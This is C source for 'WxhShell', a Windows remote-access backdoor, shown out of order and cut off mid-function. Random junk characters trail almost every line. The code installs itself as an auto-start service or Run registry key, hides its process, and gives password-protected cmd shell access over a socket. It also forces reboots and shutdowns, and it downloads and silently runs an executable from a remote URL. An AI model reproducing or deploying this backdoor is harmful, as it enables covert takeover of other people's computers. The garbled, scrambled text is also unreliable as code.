  // 关机 cXH?'q 'vZ  
  case 'd': { wyM3|%RZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d<e.`dhc  
    if(Boot(SHUTDOWN)) /Vc!N)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D~>P/b)v{j  
    else { an~Kc!Oki  
    closesocket(wsh); !1R  
    ExitThread(0); <{uIB;P  
    } YdaJ&  
    break; Vtri"G8 aB  
    } c?S402M}  
  // 获取shell d a9 *>+[  
  case 's': { TUr}p aw_  
    CmdShell(wsh); fsu "Lc  
    closesocket(wsh); j]^]p; An  
    ExitThread(0); p(%x&*)f  
    break; ?OFvGd  
  } <'33!8 G  
  // 退出 EZV$1pa  
  case 'x': { 1XRVbQt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XzsK^E0R  
    CloseIt(wsh); dx}!]_mlZ  
    break; )G&OX  
    } Kfl+8UR5=  
  // 离开 ^;bkU|(`6  
  case 'q': { ~qH@Kz\%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^\%%9jY  
    closesocket(wsh); D%v yO_k  
    WSACleanup(); Wd# 6Y}:  
    exit(1); ]B||S7idq  
    break; XF6= xD  
        } zFIKB9NUn  
  } ]=Q'1%  
  } 0kfw8Lon  
_i#Z'4?2E  
  // 提示信息 50A_+f.7%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Jr< >7Q1  
} X)+N>8o?N  
  } ^xrR3m*d  
i`;I"oY4  
  return; duCm+4,.  
} :1Cc~+]w(u  
OMU#Sx!6  
// shell模块句柄 Hn)=:lI  
int CmdShell(SOCKET sock) RZjR d  
{ sM K/l @7  
STARTUPINFO si; Ql 1# l:Q  
ZeroMemory(&si,sizeof(si)); Mv3Ch'X[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @@QU"8q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0a5P@;"a  
PROCESS_INFORMATION ProcessInfo; '`u1,h  
char cmdline[]="cmd"; 19_F\32  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5YasD6l  
  return 0; zD'gGxM1  
} Jo ^ o`9  
[nrP; _  
// 自身启动模式 L~~aW0,  
int StartFromService(void) Df9}YI ;?  
{  Bv3v;^  
typedef struct "7DPsPs  
{ <Jx{Uv  
  DWORD ExitStatus; "O`;zC  
  DWORD PebBaseAddress; ?W(f%/B#  
  DWORD AffinityMask; yLP0w^Q  
  DWORD BasePriority; M<729M  
  ULONG UniqueProcessId; IP3-lru  
  ULONG InheritedFromUniqueProcessId; >*MB_m2|  
}   PROCESS_BASIC_INFORMATION; 6dh PqL  
Velmq'n  
PROCNTQSIP NtQueryInformationProcess; foeVjL:T  
t j0vB]c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dcf`+?3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Zf<r1m  
Jc+U$h4  
  HANDLE             hProcess; 3^\y>  
  PROCESS_BASIC_INFORMATION pbi; Y'P8`$  
{BF\G%v;+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S.z;Bm  
  if(NULL == hInst ) return 0;  7)T+!>  
,Xw/ t>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m`|Z1CT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Am0$UeSZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T]xGE   
6!$S1z#wM  
  if (!NtQueryInformationProcess) return 0; bu.36\78  
 ;"3Mm$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4 R]|  
  if(!hProcess) return 0; {:Q2Itsy  
|Yx8Ez  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :1iw_GhJf  
@P-7a`3*  
  CloseHandle(hProcess); A28w/ =e7  
3O.-'U1K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); khR3[ju{^  
if(hProcess==NULL) return 0; sM-*[Q=_  
MG6Tk(3S  
HMODULE hMod; \yqiv"'  
char procName[255]; ;Cwn1N9S  
unsigned long cbNeeded; gOkO8P6P8  
1;h>^NOq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l @Ki`if  
YW5E |z  
  CloseHandle(hProcess); dx~Wm1  
buoz La  
if(strstr(procName,"services")) return 1; // 以服务启动 {*2A% }S  
U{x'@/Ld  
  return 0; // 注册表启动 kB 2bT}  
} sw&Qks? V  
v6GWD}HH,  
// 主模块 Zj JD@,j  
int StartWxhshell(LPSTR lpCmdLine) %F7aFvl*  
{ ^ey\ c1K  
  SOCKET wsl; m} V,+E  
BOOL val=TRUE; IH0Uq_  
  int port=0; 0C7"*H0 R  
  struct sockaddr_in door; bhI8b/  
S$#Awen"@  
  if(wscfg.ws_autoins) Install(); n5b N/  
)-9/5Z0v  
port=atoi(lpCmdLine); &`9lIVB,K  
fVkl-<?x  
if(port<=0) port=wscfg.ws_port; BK +JHT  
kO4C^pl"v  
  WSADATA data; DFiexOb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5u&jNU5m_  
mB\5bSFY`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u,C-U!A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ql8:s>1T  
  door.sin_family = AF_INET; s(dox; d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k91Y"_&  
  door.sin_port = htons(port); 41.+3VP  
RsbrD8*AD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vw3W:TL  
closesocket(wsl); 2|cIu 'U  
return 1; ~$cw]R58,9  
} 8dpVB#]pp,  
vL><Y.kOEs  
  if(listen(wsl,2) == INVALID_SOCKET) { emHi= [!i  
closesocket(wsl); WlY%f}l n  
return 1; njIvVs`q  
} lRrOoON  
  Wxhshell(wsl); V6!oe^a7'  
  WSACleanup(); #qPk,a  
^b%AwzHH}  
return 0; _V;J7Vz  
H1w;Wb1se  
} u0x\5!?2  
i"b*U5k  
// 以NT服务方式启动 Y8d%L;b[D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YONg1.^!(  
{ { sZrI5   
DWORD   status = 0; kN_LD-  
  DWORD   specificError = 0xfffffff; h$k(|/+  
T7,tJk,(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^a(q7ZfY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u]}Xq{ZN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W=DQ6.   
  serviceStatus.dwWin32ExitCode     = 0; U3Q'ZT  
  serviceStatus.dwServiceSpecificExitCode = 0; 4, :D4WYWD  
  serviceStatus.dwCheckPoint       = 0; 7fVVU+y  
  serviceStatus.dwWaitHint       = 0; Uq&|iB#mF  
n;MoMGnPh,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y 8P  
  if (hServiceStatusHandle==0) return; $yt|nO  
l 0 1Lg6+S  
status = GetLastError(); []Z6<rC|  
  if (status!=NO_ERROR) 4jXyA/F9V  
{ 7W>T= @  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Op|Be  
    serviceStatus.dwCheckPoint       = 0; BG|Kw)z*KM  
    serviceStatus.dwWaitHint       = 0; \/5 8#  
    serviceStatus.dwWin32ExitCode     = status; 3"B|w^6'2  
    serviceStatus.dwServiceSpecificExitCode = specificError; =#W{&Te;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EH[?*>+s  
    return; ,Pl[SMt!  
  } 7(oxmv}#Q  
O`2%@%?I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cjd +\7#G  
  serviceStatus.dwCheckPoint       = 0; S-1}3T%  
  serviceStatus.dwWaitHint       = 0; L4dbrPE*0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KLxg  
} wCdUYgsPT"  
ubgq8@;  
// 处理NT服务事件,比如:启动、停止 "XH]B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TEYbB=.  
{ gC'GZi^  
switch(fdwControl) 2n@"|\uHD  
{ xv)7-jlx  
case SERVICE_CONTROL_STOP: !is8`8F8  
  serviceStatus.dwWin32ExitCode = 0; ZpwB"%e$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s_]rje8`  
  serviceStatus.dwCheckPoint   = 0; F'"-4YV>&  
  serviceStatus.dwWaitHint     = 0; bkY7]'.bz&  
  { z*R"917  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?=\h/C  
  } 0/%zXp&m  
  return; Sy8Og] a  
case SERVICE_CONTROL_PAUSE: )Ev [o#y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {u!,TDt*  
  break; g'IS8@  
case SERVICE_CONTROL_CONTINUE: * "E]^wCn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; is6JS^Q  
  break; ZJx:?*0a  
case SERVICE_CONTROL_INTERROGATE: Q8P;AN_JS  
  break; !?KY;3L:  
}; u!F3Rh8D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wwF20  
} FNZnz7  
Yu8WmX,[  
// 标准应用程序主函数 "BTA"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \h"s[G zq  
{ 10a=[\ Q  
}wiq?dr  
// 获取操作系统版本 >si<VCO  
OsIsNt=GetOsVer(); 2Aff3]-:Gd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <|.M]]}j  
(;s \Ip0  
  // 从命令行安装 r[hfN2,#  
  if(strpbrk(lpCmdLine,"iI")) Install(); L-MpdC  
|#S!qnXB  
  // 下载执行文件 j6Vuj/+}  
if(wscfg.ws_downexe) { Sd{>(YWx~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SQEXC*08  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9m#`56G`  
} mxXQBmW  
pa.W-qyu  
if(!OsIsNt) { s(zG.7*3n  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yc9 M6=E^  
HideProc(); ;ymUMQ%;/  
StartWxhshell(lpCmdLine); h'N,oDB)  
} n9)/(=)>*  
else haY.rH]z  
  if(StartFromService()) 4YdmG.CU  
  // 以服务方式启动 /423!g0Q  
  StartServiceCtrlDispatcher(DispatchTable); R^K<u#>K  
else aZmSCi:&'  
  // 普通方式启动 ny#7iz/  
  StartWxhshell(lpCmdLine); ;Yi ;2ttW  
C=.  
return 0; bd%/dr  
} h883pe=  
1tD4 I  
e#08,wgW  
`f b}cJUa  
=========================================== &oAuh?kTq  
jtd{=[STU  
i8 dv|oa  
[t0gXdU 6  
ZZ4W?);;  
m+1MoeR  
" _7 n+j  
\b' <q  
#include <stdio.h> bZ0r/f,n$  
#include <string.h> }J:~}?^%n  
#include <windows.h> .lqo>Ta y  
#include <winsock2.h> 96 C|R  
#include <winsvc.h> n#m )]YQC  
#include <urlmon.h> b`1P%OjC  
h v9s  
#pragma comment (lib, "Ws2_32.lib") cA_v*`YL  
#pragma comment (lib, "urlmon.lib") lS}5bcjR=k  
>\MV/!W  
#define MAX_USER   100 // 最大客户端连接数 ;o#dmG  
#define BUF_SOCK   200 // sock buffer .O~)zM x  
#define KEY_BUFF   255 // 输入 buffer (3W<yAM+  
[ UQzCqV  
#define REBOOT     0   // 重启 ?-*_v//g  
#define SHUTDOWN   1   // 关机 )=8X[<^i  
_4.fT  
#define DEF_PORT   5000 // 监听端口 Y]ZOvA5W  
tR*J M$T  
#define REG_LEN     16   // 注册表键长度 Z~$fTW6g  
#define SVC_LEN     80   // NT服务名长度 zX|CW;  
F!N;4J5u  
// 从dll定义API U JY`P4(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $T~|@XH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $UKV2c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qksN {t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *"4 OXyV  
mM>{^%2Q:  
// wxhshell配置信息 #j'O rD  
struct WSCFG { hCc I >[H5  
  int ws_port;         // 监听端口 kE/>Ys@w  
  char ws_passstr[REG_LEN]; // 口令 C S+6!F]  
  int ws_autoins;       // 安装标记, 1=yes 0=no *h$Dh5%P  
  char ws_regname[REG_LEN]; // 注册表键名 .~C*7_  
  char ws_svcname[REG_LEN]; // 服务名 c7S<ex,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f |aO9w   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 / [:@j+n\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7@MVInV9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T|r@:t[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S+_}=25  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tOS%.0W5J  
X,^J3Ek>O  
}; i3N _wv{  
rAk*~OK  
// default Wxhshell configuration fq _6xs  
struct WSCFG wscfg={DEF_PORT, EcFYP"{U  
    "xuhuanlingzhe", J*qepq`_  
    1, [\eUCt F  
    "Wxhshell", }kGJ)zh  
    "Wxhshell", ,Rz,[KI|  
            "WxhShell Service", zN*/G6>A  
    "Wrsky Windows CmdShell Service", NhXTt!S6C  
    "Please Input Your Password: ", ME{i-E4  
  1, \2pJ ]  
  "http://www.wrsky.com/wxhshell.exe", J3g>#N]='(  
  "Wxhshell.exe" U*1rA/"n  
    }; p%_r0  
t k2B\}6  
// 消息定义模块 lD. PNwM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T&6{|IfM_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _~fO8_vr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f!eC|:D  
char *msg_ws_ext="\n\rExit."; 'R99kL/.N  
char *msg_ws_end="\n\rQuit."; WUMx:a0!  
char *msg_ws_boot="\n\rReboot..."; 2j*\n|"}{  
char *msg_ws_poff="\n\rShutdown..."; 4f'WF5S/}8  
char *msg_ws_down="\n\rSave to "; ;F"W6G  
}|&M@Up  
char *msg_ws_err="\n\rErr!"; 6t<~. 2'  
char *msg_ws_ok="\n\rOK!"; CSR 6  
:$j!e#?=  
char ExeFile[MAX_PATH]; ')}$v+9h  
int nUser = 0; k-Le)8+b  
HANDLE handles[MAX_USER]; }Sqey:9jH  
int OsIsNt; V :*GG+4  
(;+ JM*c2N  
SERVICE_STATUS       serviceStatus; WOz dYeeG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lTDF5.aE  
Y6W3WPs(  
// 函数声明 3q{H=6  
int Install(void); !nU  
int Uninstall(void); 2P"@=bYT"  
int DownloadFile(char *sURL, SOCKET wsh); "u3  
int Boot(int flag); #sq-V,8  
void HideProc(void); f @Hp,-  
int GetOsVer(void); M\DUx5d J,  
int Wxhshell(SOCKET wsl); !D7 [R'RgY  
void TalkWithClient(void *cs); /Vg R[  
int CmdShell(SOCKET sock); !c\s)&U7B  
int StartFromService(void); qd%5[A  
int StartWxhshell(LPSTR lpCmdLine); vWXj6}  
Bz }Kdyur  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JU1U=Lu."  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jgVra*   
Xa Yx avq  
// 数据结构和表定义 `[C8iF*Y"  
SERVICE_TABLE_ENTRY DispatchTable[] = I^qk`5w  
{ 7E%ehM6Y  
{wscfg.ws_svcname, NTServiceMain}, ec)G~?FH  
{NULL, NULL} eN,s#/ip]  
}; 0 jVuF l  
Ddghw(9*H  
// 自我安装 O_FT@bo\  
int Install(void) );@@>~  
{ pz:$n_XC}  
  char svExeFile[MAX_PATH]; Z>Rd6o'  
  HKEY key; I`5F& 8J{  
  strcpy(svExeFile,ExeFile); mO?G[?*\  
u> %r(  
// 如果是win9x系统,修改注册表设为自启动  ?MPM@9  
if(!OsIsNt) { 3|[:8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |U8;25Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "a?k #!E  
  RegCloseKey(key); pW:U|m1dS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ra;e#)7 X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s^AQJ{X  
  RegCloseKey(key); st:[|`  
  return 0; b,#cc>76\  
    } OE}L})"  
  } %&V<kH"7Q{  
} #ie{!Mh  
else { nx $?wxIm  
Yn'XSV|g  
// 如果是NT以上系统,安装为系统服务 Z@t).$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2j=3i@  
if (schSCManager!=0) `Rm2G  
{ ~5:]Oux  
  SC_HANDLE schService = CreateService qusgX;)  
  ( ?$ Uk[  
  schSCManager, JLT':e~PX  
  wscfg.ws_svcname, w44{~[0d4  
  wscfg.ws_svcdisp, R 7xV{o  
  SERVICE_ALL_ACCESS, oMkB!s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1&i!92:E  
  SERVICE_AUTO_START, :>Z0Kb}7  
  SERVICE_ERROR_NORMAL, x1|5q/I  
  svExeFile, N{q5E,}  
  NULL, $qP9EZ]JC  
  NULL, {SqY77  
  NULL, jQ%}e"  
  NULL, bpzB}nEp  
  NULL 8W[QV  
  ); :1hp_XfJb  
  if (schService!=0) -x:Wp*,  
  { [LjYLm%<  
  CloseServiceHandle(schService); (|(Y;%>-v  
  CloseServiceHandle(schSCManager); `5O<U~'d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [B+ o4+K3  
  strcat(svExeFile,wscfg.ws_svcname); G\*`EM4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nD MNaMYb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JBeC\ \QX  
  RegCloseKey(key); f$*M;|c1c/  
  return 0; `axNeqM  
    } N95"dNZE  
  } U87VaUr  
  CloseServiceHandle(schSCManager); *h@nAB\3  
} <saS2.4  
} )#xd]~ <  
^ }U{O A  
return 1; : b $ M  
} rYJt;/RtR}  
jcXb@FE6  
// 自我卸载 9} eIidwK  
int Uninstall(void) q>]v~  
{ ` *$^rQS  
  HKEY key; ;=_<\2  
C]A*B  
if(!OsIsNt) { N]KqSpPh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7yeZ+lD  
  RegDeleteValue(key,wscfg.ws_regname); iMk`t:!;#"  
  RegCloseKey(key); e7]IEBbX2O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S8.nM}x  
  RegDeleteValue(key,wscfg.ws_regname); qW?^_  
  RegCloseKey(key); yw#P<8{/[  
  return 0; Sn7.KYS  
  } Wj8\~B=('  
} ]r'b(R; S  
} 68;,hS*|6  
else { ?#,\,  
\<i#Jn+)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VF<{Qx*  
if (schSCManager!=0) B,e@v2jO|  
{ |Ro\2uSr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;6fkG/T  
  if (schService!=0) SY>N-fW\H:  
  { V0wK.^]+}/  
  if(DeleteService(schService)!=0) { }9 qsPn  
  CloseServiceHandle(schService); XO"!)qF  
  CloseServiceHandle(schSCManager);  by>,h4  
  return 0; G5TdAW  
  } Nf<([8v;t  
  CloseServiceHandle(schService); q^(A6W  
  } *M"lUw#(f  
  CloseServiceHandle(schSCManager); r>$jMo.S"  
} <ywxz1i  
} FRs5 Pb1  
d<`Z{"g NS  
return 1; {3_M&$jN  
} ,i>5\Yl%  
U~Uxs\0:  
// 从指定url下载文件 *5*d8;@>  
int DownloadFile(char *sURL, SOCKET wsh) FZj tQ{M  
{ k}F;e_  
  HRESULT hr; (a&.Ad0{  
char seps[]= "/"; >'Y]C\  
char *token; #<yR:3  
char *file; m feyR  
char myURL[MAX_PATH]; i+21tG$  
char myFILE[MAX_PATH]; _4[kg)#+  
bL swq  
strcpy(myURL,sURL); 34s:|w6y  
  token=strtok(myURL,seps); wz073-v>ZV  
  while(token!=NULL) FIC 2)  
  { AL H^tV?  
    file=token; WiPMvl8  
  token=strtok(NULL,seps); 4A|5eg9N  
  } \-V  
TQID-I  
GetCurrentDirectory(MAX_PATH,myFILE); V%o:Qa[a  
strcat(myFILE, "\\"); c9r2kc3cy{  
strcat(myFILE, file); jUW{Z@{U  
  send(wsh,myFILE,strlen(myFILE),0); v,Ep2$  
send(wsh,"...",3,0); %8S!l;\H5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n+Fl|4  
  if(hr==S_OK) !Aj_r^[X`  
return 0; IF5+&O  
else NBUM* Z  
return 1; @B+  
D$#=;H ,  
} ~l{CUQU  
1xT^ ,e6  
// 系统电源模块 :t\PYDp1  
int Boot(int flag) J]fjg%C2m  
{ ?%oPWmj}  
  HANDLE hToken; W?XvVPB  
  TOKEN_PRIVILEGES tkp; 5-=mtvA:  
Fc 5g~T  
  if(OsIsNt) { uysGOyi<u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m(*CuM[E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (doFYF~w  
    tkp.PrivilegeCount = 1; G>*s+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ywi Shvi8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RX7,z.9@'O  
if(flag==REBOOT) { OEq8gpqY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }v=q6C#Q>  
  return 0; el+euOV  
} 7th&C,c&  
else { ~3/>;[!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0($MN]oZa  
  return 0; 15Yy&9D  
} s- g[B(  
  } W!GgtQw{F  
  else { ]%shs  
if(flag==REBOOT) { 3&x_%R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @kI^6(.  
  return 0; ]J_Dn\  
} 2E=E!Zwt_  
else { < 8WS YZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s&8QRI.  
  return 0; ?z Ms;  
} `9b D%M  
} <(s+  
s{< rc>  
return 1; MEq ()}7P  
} 0D$+WX  
6j_ A{*~Ng  
// win9x进程隐藏模块 d~GT w:  
void HideProc(void) vV"TTzs!  
{ r&Za*TD^  
"qQU ^FW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aViJ?*  
  if ( hKernel != NULL ) h1JG^w$ 5  
  { @36^4E>h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <J?i+b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G8akMd]2  
    FreeLibrary(hKernel); $\m=-5 0-  
  } y~p7&^FeR  
F}i rCi47c  
return; !Y`nKC(=z  
} 36&7J{MU  
@: %}clZ  
// 获取操作系统版本 tEBf2|<  
int GetOsVer(void) +>c)5Jih  
{ pEhWgCL  
  OSVERSIONINFO winfo; !Bu<6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <f{m=Dc  
  GetVersionEx(&winfo); w;r -TLf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?ew^%1!W.  
  return 1; f,`FbT  
  else `I_%`15>  
  return 0; bpKMQrwd  
} 4lvo9R  
}_5z(7}3  
// 客户端句柄模块 ^>[DG]g  
int Wxhshell(SOCKET wsl) q& 4Z.(  
{ t(Iy[-  
  SOCKET wsh; \!z=x#!O$  
  struct sockaddr_in client; B'atwgI0  
  DWORD myID; 9r\8  !R  
^ /:]HG  
  while(nUser<MAX_USER) 8>Ervi`  
{ v%86JUlK.  
  int nSize=sizeof(client); +z("'Cv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P,D >gxl  
  if(wsh==INVALID_SOCKET) return 1; *w> /vu  
BjOrQAO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 83;1L:}`  
if(handles[nUser]==0) fgTvwO Sk  
  closesocket(wsh); |w /txn8G|  
else *~2jP;$  
  nUser++; iT9cw`A^%  
  } b LSI\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?aO%\<b  
_lyP7$[: c  
  return 0; %aL>n=$  
} >D<nfG<s Z  
 fB;'U  
// 关闭 socket 5 MQRb?[  
void CloseIt(SOCKET wsh) JL;H:`x  
{ 3=sA]j-+(  
closesocket(wsh);  6~$ <  
nUser--; I%{^i d@  
ExitThread(0); --",}%-  
} CcAsJX~_  
 v+G}n\F  
// 客户端请求句柄 a[Txd=b  
void TalkWithClient(void *cs) dA\>z[n=  
{ rYN`u  
k_O"bsI)  
  SOCKET wsh=(SOCKET)cs; j(Q$frI  
  char pwd[SVC_LEN]; ?uQ|?rk  
  char cmd[KEY_BUFF]; .$v]B xu  
char chr[1]; :Q$3P+6a  
int i,j; ><`.(Z5c  
N]+x@M @^3  
  while (nUser < MAX_USER) { #Yj0'bgK  
%z8@;  
if(wscfg.ws_passstr) { =p&6A^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Er{[83  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CdTmL{Y1  
  //ZeroMemory(pwd,KEY_BUFF); `2r21rVntf  
      i=0; t$Irr*  
  while(i<SVC_LEN) { !dVcnK1  
R>pa? tQgK  
  // 设置超时 \EB]J\ x<  
  fd_set FdRead; h`3;^T  
  struct timeval TimeOut; )-9|3`  
  FD_ZERO(&FdRead); uVOpg]8d  
  FD_SET(wsh,&FdRead); ZpI_/  
  TimeOut.tv_sec=8;  _%i|*  
  TimeOut.tv_usec=0; ufEt"P-X.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ']+H P9i$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,u~\$ Az6  
Wc`Vcn1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |a\s}M1  
  pwd=chr[0]; 3%|<U51  
  if(chr[0]==0xd || chr[0]==0xa) { JB b}{fo~  
  pwd=0; #)cRD#0  
  break; Im6ymaf9  
  } HT1bsY 0t  
  i++; K7e<hdP_#  
    } %q ja:'k  
jGt'S{  
  // 如果是非法用户,关闭 socket n!HFHy2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vc^PXjX  
} 9Cf^Q3)5o  
<JZ=K5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L=HL1Qe$G]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6t# ?Dkc'  
A=h`Z^8\B  
while(1) { ( 7Y :3  
+H ="5uO<  
  ZeroMemory(cmd,KEY_BUFF); V!FzVl=G  
]p0m6}B  
      // 自动支持客户端 telnet标准   2px5>4<  
  j=0; \ 0<e#0-V  
  while(j<KEY_BUFF) { %$sWNn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pR\etXeLd  
  cmd[j]=chr[0]; \I'A:~b)L  
  if(chr[0]==0xa || chr[0]==0xd) { #+ n &  
  cmd[j]=0; }$ AC0  
  break; @Cqg 2  
  } ZTt% 7K"L  
  j++; $RA"NIZ:!  
    } |C-B=XE;3  
WNL3+  
  // 下载文件 }[i35f[w  
  if(strstr(cmd,"http://")) { y)(SS8JR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J anLJe)  
  if(DownloadFile(cmd,wsh)) cs@5K$v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA t2m-  
  else VT'$lB%IK  
